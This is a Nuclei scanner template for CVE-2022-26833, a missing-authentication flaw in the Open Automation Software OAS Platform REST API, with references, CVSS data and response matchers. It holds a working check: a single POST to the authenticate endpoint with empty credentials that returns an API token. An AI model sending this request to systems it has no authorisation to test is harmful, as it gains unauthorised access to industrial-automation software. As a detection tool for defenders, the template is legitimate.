id: CVE-2022-26833 info: name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication author: true13 severity: critical description: | An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability. impact: | An attacker can exploit this vulnerability to gain unauthorized access to the affected system. remediation: | Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue. reference: - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513 - https://nvd.nist.gov/vuln/detail/CVE-2022-26833 - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1513 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-26833 cwe-id: CWE-306 epss-score: 0.02854 epss-percentile: 0.89615 cpe: cpe:2.3:a:openautomationsoftware:oas_platform:16.00.0112:*:*:*:*:*:*:* metadata: max-request: 1 vendor: openautomationsoftware product: oas_platform tags: cve,cve2022,oas,oss,unauth,openautomationsoftware http: - raw: - | POST /OASREST/v2/authenticate HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/json {"username": "", "password": ""} matchers-condition: and matchers: - type: word part: body words: - '"status":' - '"data":' - '"token":' - '"clientid":' condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 490a0046304402205a0cbec09f39942edf8e8363958e1734bd17edc7f73c0da5e1213339d9b23d6e022067e5d5e72d9d8cfd70e8b06d6162e74d5dcc52d5d94568080f2e78a5eb9da432:922c64590222798bb761d5b6d8e72950